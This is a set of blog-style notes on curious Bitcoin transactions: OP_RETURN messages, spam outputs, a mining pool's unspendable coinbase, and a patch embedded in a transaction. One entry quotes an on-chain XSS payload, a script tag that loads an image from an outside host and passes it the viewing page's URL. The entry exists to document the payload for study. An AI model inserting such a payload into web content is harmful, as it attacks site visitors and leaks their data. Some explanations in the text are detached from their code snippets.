Coinbase message are messages that only miners can embed in the blockchain.
As such most of them tend to be boring ads for mining pools, but there are a few exceptions, especially in the early days.
This website used to allow embedding text messages with OP_RETURN, here's an archive from 2015: web.archive.org/web/20150718052659/http://eternitywall.it/
As of January 2024, it seems to read-only mode, where it simply indexes matching transactions that were made via other means: web.archive.org/web/20230929075331/https://eternitywall.it/
A Reddit announcement from July 2015: www.reddit.com/r/Bitcoin/comments/3dxy9f/eternity_wall_messages_lasting_forever/
There were 3191 hits for the search term:in our data starting with tx a3b3af21514bd79a4cbcac9916a8514636a72d813539192214542fd85247082e (2015-06-24):up to the last entry on tx 28820bc14cf2cfda58ecbc9ac6df3f41a1cb90f4246543f01ba42a5e9dac3cf8 (2023-06-15)no doubt initials of 4 Chinesepeople. A blood brother oath comes to mind, akin to the Oath of the Peach Garden. Will these four be the ones to take down the evil dictator Xi Jinping?
git grep '\bEW 'EW Eternity wall is live
EW May our friendship endure, signed by hg, kty, wjj, and xyz.
The very first message gives away the name of what we assume is a web-based upload system, "EW" being its advertisement signature added to every message.
Running shows that the messages are encoded with OP_RETURN:
bitcoin-cli:bitcoin-core.cli getrawtransaction a3b3af21514bd79a4cbcac9916a8514636a72d813539192214542fd85247082e true "vout": [
{
"value": 0.00000000,
"n": 0,
"scriptPubKey": {
"asm": "OP_RETURN 455720457465726e6974792077616c6c206973206c697665Starting tx 2f201c8518c7b012c03c2c82e40e86f6aaf616ea5fbe22570aac9d2c6611cb68 (2023-03-11), the chain is flooded with ASCII transactions containing many repeated double quotes TODO what is up with that?
" and digits 3, with some other characters interspersed in them without any clear pattern e.g. the first one:""""""""""""""""""""""""""""""""jk""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""'}""""""""""""""""""""""""""""""""/D""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""q1""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""XK""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
In that first trasaction the quotes appear as part of a Multisig output script.
BSHUNTER: Detecting and Tracing Defects of Bitcoin Scripts by 
Ciro Santilli 35 Updated 2024-12-23 +Created 1970-01-01
Ciro Santilli 35 Updated 2024-12-23 +Created 1970-01-01Authors: Peilin Zheng, Xiapu Luo, Zibin Zheng
Epic title.
From their site:
OCM Genesis is our flagship generative art collection that's set many historic precedents since its launch in 2021. Genesis is the first NFT collection where all 10,000 images and metadata (similar to DNA describing the NFT) were generated using code entirely on-chain in a single transaction on Ethereum. With the launch of Bitcoin Ordinals, Genesis is the first ever collection of 10,000 images to be inscribed on Bitcoin in 2023.
Some of their likely transactions were noted in our list of large transactions: github.com/cirosantilli/bitcoin-inscription-indexer/blob/master/data/payload_size_out e.g.:but we haven't had the patience to index them properly yet. Boring art anyways.
004c3f1efa0095b229dd05ea247c94a5af742daf682fb082a6e62f4aeeb973f2 66033
ffc73ef454d512f98a451960e05a0a036406ed1078a1bd7082fd4036cf0af067 66021 4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af by Ciro Santilli 35 Updated 2024-12-23 +Created 1970-01-01
Ciro Santilli 35 Updated 2024-12-23 +Created 1970-01-01Output 0 does:where the large constant is an interesting inscription to test for the presence of XSS attacks on blockchain explorers:This is almost spendable with:but that fails because the altstack is cleared between the input and the output script, so this output is provably unspendable.
OP_ADD OP_ADD 13 OP_EQUAL OP_NOTIF OP_RETURN OP_ENDIF OP_FROMALTSTACK <large xss constant> OP_DROP<script type='text/javascript'>document.write('<img src='http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + ''>');</script>`1 OP_TOALTSTACK 10 1 2 5660d06bd69326c18ec63127b37fb3b32ea763c3846b3334c51beb6a800c57d3 by Ciro Santilli 35 Updated 2024-12-23 +Created 1970-01-01
Ciro Santilli 35 Updated 2024-12-23 +Created 1970-01-01In this malformed Coinbase transaction, the mining pool "nicehash" produced a provably unspendable Bitcoin output script due to a bug, and therefore lost most of the entire block reward of 6.25 BTC then worth about $ 123,000.
The output is unspendable because it ends in a constant 0, the disassembly of the first and main output is this series of constants:and for the second smaller one:the third one being an OP_RETURN message.
0 017fed86bba5f31f955f8b316c7fb9bd45cb6cbc 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0aa21a9ed62ec16bf1a388c7884e9778ddb0e26c0bf982dada47aaa5952347c0993da 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0This event received some coverage:
a165c82cf21a6bae54dde98b7e00ab43b695debb59dfe7d279ac0c59d6043e24 by Ciro Santilli 35 Updated 2024-12-23 +Created 1970-01-01
Ciro Santilli 35 Updated 2024-12-23 +Created 1970-01-01Sister transaction of 4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af with another variant of the XSS but without IF and
OP_FROMALTSTACK, thus making it spendable:OP_ADD OP_ADD 13 OP_EQUAL <large xss constant> OP_DROP Romance of the Three Kingdoms event by Ciro Santilli 35 Updated 2024-12-23 +Created 1970-01-01
Ciro Santilli 35 Updated 2024-12-23 +Created 1970-01-01 3ad6677303fb6f700a4f2f977fe86e5324e0ddb0d3b33a649e513d7e88904e85 by Ciro Santilli 35 Updated 2024-12-23 +Created 1970-01-01
Ciro Santilli 35 Updated 2024-12-23 +Created 1970-01-01This contains various outputs that seem trivially spendable in a made up of two non-zero constants, e.g.:Or are we missing something? The values are quite small and wouldn't be worth it the miner fees most likely. But is there a fundamental reason why this couldn't be spent by a non-standard miner?
{
"value": 0.00002000,
"n": 9,
"scriptPubKey": {
"asm": "1 8fe61f026c7545a99c6e0f37a5a7eceee5fdf6723c1994ccbfb740556632e9fe",
"desc": "rawtr(8fe61f026c7545a99c6e0f37a5a7eceee5fdf6723c1994ccbfb740556632e9fe)#lxgt8lak",
"hex": "51208fe61f026c7545a99c6e0f37a5a7eceee5fdf6723c1994ccbfb740556632e9fe",
"address": "bc1p3lnp7qnvw4z6n8rwpum6tflvamjlmanj8svefn9lkaq92e3ja8lqcc8mcx",
"type": "witness_v1_taproot"
}
}, 77822fd6663c665104119cb7635352756dfc50da76a92d417ec1a12c518fad69 by Ciro Santilli 35 Updated 2024-12-23 +Created 1970-01-01
Ciro Santilli 35 Updated 2024-12-23 +Created 1970-01-01Ouptut 0 disassembles as:The large constant contains an ASCII Bitcoin Core patch entitled
OP_IF OP_INVALIDOPCODE 4effffffff <large constant> OP_ENDIFRemove (SINGLE|DOUBLE)BYTE so presumably this is a proof of concept:From a3a61fef43309b9fb23225df7910b03afc5465b9 Mon Sep 17 00:00:00 2001
From: Satoshi Nakamoto <satoshin@gmx.com>
Date: Mon, 12 Aug 2013 02:28:02 -0200
Subject: [PATCH] Remove (SINGLE|DOUBLE)BYTE
I removed this from Bitcoin in f1e1fb4bdef878c8fc1564fa418d44e7541a7e83
in Sept 7 2010, almost three years ago. Be warned that I have not
actually tested this patch.
---
backends/bitcoind/deserialize.py | 8 +-------
1 file changed, 1 insertion(+), 7 deletions(-)
diff --git a/backends/bitcoind/deserialize.py b/backends/bitcoind/deserialize.py
index 6620583..89b9b1b 100644
--- a/backends/bitcoind/deserialize.py
+++ b/backends/bitcoind/deserialize.py
@@ -280,10 +280,8 @@ opcodes = Enumeration("Opcodes", [
"OP_WITHIN", "OP_RIPEMD160", "OP_SHA1", "OP_SHA256", "OP_HASH160",
"OP_HASH256", "OP_CODESEPARATOR", "OP_CHECKSIG", "OP_CHECKSIGVERIFY", "OP_CHECKMULTISIG",
"OP_CHECKMULTISIGVERIFY",
- ("OP_SINGLEBYTE_END", 0xF0),
- ("OP_DOUBLEBYTE_BEGIN", 0xF000),
"OP_PUBKEY", "OP_PUBKEYHASH",
- ("OP_INVALIDOPCODE", 0xFFFF),
+ ("OP_INVALIDOPCODE", 0xFF),
])
@@ -293,10 +291,6 @@ def script_GetOp(bytes):
vch = None
opcode = ord(bytes[i])
i += 1
- if opcode >= opcodes.OP_SINGLEBYTE_END and i < len(bytes):
- opcode <<= 8
- opcode |= ord(bytes[i])
- i += 1
if opcode <= opcodes.OP_PUSHDATA4:
nSize = opcode
--
1.7.9.4bitcointalk.org/index.php?topic=5231222.0 duscusses what happens if there is an invalid opcode in a branch that is not taken.
Unlisted articles are being shown, click here to show only listed articles.